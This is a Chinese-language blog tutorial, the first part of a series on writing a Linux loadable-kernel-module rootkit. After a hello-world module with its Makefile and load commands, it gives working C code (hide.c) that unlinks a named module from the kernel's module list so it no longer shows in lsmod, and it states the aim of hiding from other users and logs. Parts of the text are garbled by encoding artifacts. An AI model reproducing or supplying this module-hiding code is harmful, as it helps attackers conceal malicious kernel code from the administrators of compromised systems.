手把手教你写LKM rookit! 之 第一个lkm程序及模块隐藏(一)
唉,一開始在糾結(jié)起個(gè)什么名字,感覺名字常常的很裝逼,于是起了個(gè)這《手把手教你寫LKM rookit》
我覺得:你們覺得:。。。。。。
開始之前,我們先來理解一句話:一切的操作都是系統(tǒng)調(diào)用。系統(tǒng)通過陷入或者庫的方式,讓你跟內(nèi)核的函數(shù)交互。當(dāng)然啦,平時(shí)我們都處在用戶態(tài)的情況下,系統(tǒng)調(diào)用調(diào)用的是內(nèi)核態(tài)的函數(shù),ps:這個(gè)系列完了,我們從內(nèi)核級(jí)的rookit脫離出來,升級(jí)到bios級(jí)別的rootkit,哇卡卡~~
那么我在這傻了吧唧的講了半天,什么是LKM,Loadable Kernel Modules,翻譯過來就是“可加載內(nèi)核模塊程序”。
系統(tǒng)調(diào)用一般來處理什么I/O請(qǐng)求啦,進(jìn)程管理啦,內(nèi)存管理啊之類的,你想想原來你原來程序有個(gè)函數(shù)a,調(diào)用的是底層的函數(shù)b,你把函數(shù)b攔截了替換了一個(gè)函數(shù)c。。。。
我的系統(tǒng)調(diào)用號(hào)的定義在 /usr/include/asm-generic/unistd.h 文件中
#include <asm/bitsperlong.h> /* * This file contains the system call numbers, based on the * layout of the x86-64 architecture, which embeds the * pointer to the syscall in the table. * * As a basic principle, no duplication of functionality * should be added, e.g. we don't use lseek when llseek * is present. New architectures should use this file * and implement the less feature-full calls in user space. */ #ifndef __SYSCALL #define __SYSCALL(x, y) #endif #if __BITS_PER_LONG == 32 || defined(__SYSCALL_COMPAT) #define __SC_3264(_nr, _32, _64) __SYSCALL(_nr, _32) #else
View Code
hello.c這個(gè)以后會(huì)成為功能性的主文件
1 #include <linux/module.h>
2 #include <linux/init.h>
3 #include <linux/kernel.h>
4 #include <linux/list.h>
5 #include <linux/string.h>
6 #include <linux/moduleparam.h>
7
8 MODULE_LICENSE ("GPL");
9 MODULE_AUTHOR("l137");
10 MODULE_DESCRIPTION("test");
11
12
13
14 static int fuck_init(void){
15 printk(KERN_ALERT "come on baby!!");
16 return 0;
17 }
18
19 static void fuck_exit(void){
20 printk(KERN_ALERT "bye-bye
");
21 }
22
23 module_init(fuck_init);
24 module_exit(fuck_exit)
hello.c
Makefile:
obj-m += hello.o
all:
make -C /lib/modules/`uname -r`/build M=`pwd` modules
clean:
make -C /lib/modules/`uname -r`/build M=`pwd` clean
make之后得到hello.ko文件sudo insmod hello.ko可加載此模塊,用rmmod hello刪除模塊,用dmesg可以查看到我的模塊的remove_init函數(shù)的執(zhí)行情況。
[ 333.890125] come on baby!! liet@kali:~/code/c/study/lkm$ lsmod | grep hello hello 12417 0
至此你的第一個(gè)內(nèi)核級(jí)的hello出來了,接下來我們來隱藏它,我們寫的是rootkit,當(dāng)然不能讓別人lsmod就能看到,以后日志也不要有
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
hide.c
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/string.h>
#include <linux/moduleparam.h>
MODULE_LICENSE ("GPL");
MODULE_AUTHOR("l137");
MODULE_DESCRIPTION("test");
static char *mod_name = "hello";
module_param(mod_name, charp, 0);
static int remove_init(void){
struct module *mod_head,*mod_counter;
struct list_head *p;
mod_head = &__this_module;
list_for_each(p, &mod_head->list){
mod_counter = list_entry(p, struct module, list);
if(strcmp(mod_counter->name, mod_name) == 0){
list_del(p);
printk("removetree module %s ok!
",mod_name);
return 0;
}
}
printk("Can't find module %s.
",mod_name);
return 0;
}
static void remove_exit(void){
printk(KERN_ALERT "hide say : bye-bye
");
}
module_init(remove_init);
module_exit(remove_exit);
View Code
Makefile跟hello的Makefile一樣,改個(gè)名字就行
當(dāng)?shù)谝粋€(gè)模塊添加后,添加sudo insmod hide.ko,
dmesg一下看到
[ 333.890125] come on baby!!removetree module hello ok!,
這個(gè)時(shí)候你lsmod發(fā)現(xiàn)你的hello不見了,其實(shí)它還在。。。。。。
后面我們會(huì)往這里面添加些好玩的功能,讓這個(gè)rootkit強(qiáng)大起來??!
總結(jié)
以上是生活随笔為你收集整理的手把手教你写LKM rookit! 之 第一个lkm程序及模块隐藏(一)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: xfs参数简介
- 下一篇: Facets:一款Google开源机器学